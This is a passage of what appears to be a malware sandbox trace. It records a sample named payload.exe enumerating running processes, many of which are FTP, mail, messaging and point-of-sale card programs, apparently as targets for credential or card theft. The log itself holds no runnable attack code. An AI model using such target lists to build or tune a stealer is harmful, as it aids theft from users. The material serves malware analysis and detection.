lstrlenW (lpString="physics.exe") returned 11 [0052.042] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0052.042] lstrlenW (lpString="belongs.exe") returned 11 [0052.042] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0052.043] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0052.043] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0052.043] lstrlenW (lpString="gadgets.exe") returned 11 [0052.043] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0052.043] lstrlenW (lpString="geneva.exe") returned 10 [0052.043] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0052.044] lstrlenW (lpString="elephant.exe") returned 12 [0052.044] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0052.044] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0052.044] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0052.045] lstrlenW (lpString="roger-venice.exe") returned 16 [0052.045] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0052.045] lstrlenW (lpString="cite.exe") returned 8 [0052.045] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0052.045] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0052.045] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0052.046] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0052.046] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0052.046] lstrlenW (lpString="artist_selecting.exe") returned 20 [0052.046] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0052.046] lstrlenW (lpString="poems.exe") returned 9 [0052.046] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0052.047] lstrlenW (lpString="bow.exe") returned 7 [0052.047] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0052.047] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0052.047] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0052.048] lstrlenW (lpString="businesses.exe") returned 14 [0052.048] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0052.048] lstrlenW (lpString="lucky.exe") returned 9 [0052.048] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0052.048] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0052.048] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0052.049] lstrlenW (lpString="healthmanner.exe") returned 16 [0052.049] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0052.049] lstrlenW (lpString="3dftp.exe") returned 9 [0052.049] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0052.050] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0052.050] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0052.050] lstrlenW (lpString="alftp.exe") returned 9 [0052.050] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0052.050] lstrlenW (lpString="barca.exe") returned 9 [0052.050] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0052.051] lstrlenW (lpString="bitkinex.exe") returned 12 [0052.051] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0052.051] lstrlenW (lpString="coreftp.exe") returned 11 [0052.051] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0052.051] lstrlenW (lpString="far.exe") returned 7 [0052.051] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0052.052] lstrlenW (lpString="filezilla.exe") returned 13 [0052.052] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0052.052] lstrlenW (lpString="flashfxp.exe") returned 12 [0052.052] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0052.053] lstrlenW (lpString="fling.exe") returned 9 [0052.053] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0052.053] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0052.053] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0052.053] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0052.053] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0052.291] lstrlenW (lpString="icq.exe") returned 7 [0052.291] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0052.291] lstrlenW (lpString="leechftp.exe") returned 12 [0052.291] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0052.292] lstrlenW (lpString="ncftp.exe") returned 9 [0052.292] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0052.293] lstrlenW (lpString="notepad.exe") returned 11 [0052.293] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0052.293] lstrlenW (lpString="operamail.exe") returned 13 [0052.293] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0052.294] lstrlenW (lpString="pidgin.exe") returned 10 [0052.294] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0052.294] lstrlenW (lpString="scriptftp.exe") returned 13 [0052.294] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0052.295] lstrlenW (lpString="skype.exe") returned 9 [0052.295] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0052.295] lstrlenW (lpString="smartftp.exe") returned 12 [0052.295] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0052.296] lstrlenW (lpString="thunderbird.exe") returned 15 [0052.296] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0052.297] lstrlenW (lpString="totalcmd.exe") returned 12 [0052.297] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0052.297] lstrlenW (lpString="trillian.exe") returned 12 [0052.297] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0052.298] lstrlenW (lpString="webdrive.exe") returned 12 [0052.298] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0052.298] lstrlenW (lpString="whatsapp.exe") returned 12 [0052.298] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0052.299] lstrlenW (lpString="winscp.exe") returned 10 [0052.299] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0052.299] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0052.299] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0052.300] lstrlenW (lpString="active-charge.exe") returned 17 [0052.300] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0052.301] lstrlenW (lpString="accupos.exe") returned 11 [0052.301] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0052.301] lstrlenW (lpString="afr38.exe") returned 9 [0052.301] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0052.302] lstrlenW (lpString="aldelo.exe") returned 10 [0052.302] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0052.302] lstrlenW (lpString="ccv_server.exe") returned 14 [0052.302] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0052.303] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0052.303] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0052.303] lstrlenW (lpString="creditservice.exe") returned 17 [0052.303] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0052.304] lstrlenW (lpString="edcsvr.exe") returned 10 [0052.304] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0052.304] lstrlenW (lpString="fpos.exe") returned 8 [0052.304] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0052.305] lstrlenW (lpString="isspos.exe") returned 10 [0052.305] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0052.305] lstrlenW (lpString="mxslipstream.exe") returned 16 [0052.305] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0052.306] lstrlenW (lpString="omnipos.exe") returned 11 [0052.306] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0052.306] lstrlenW (lpString="spcwin.exe") returned 10 [0052.306] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0052.307] lstrlenW (lpString="spgagentservice.exe") returned 19 [0052.307] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0052.307] lstrlenW (lpString="utg2.exe") returned 8 [0052.307] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0052.308] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0052.308] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0052.308] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0052.308] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0052.309] lstrlenW (lpString="notebook.exe") returned 12 [0052.309] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0052.309] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0052.309] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0052.309] lstrlenW (lpString="current.exe") returned 11 [0052.310] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0052.310] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0052.310] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0052.310] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0052.310] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0052.311] lstrlenW (lpString="taskhost.exe") returned 12 [0052.311] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0052.311] lstrlenW (lpString="payload.exe") returned 11 [0052.311] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, 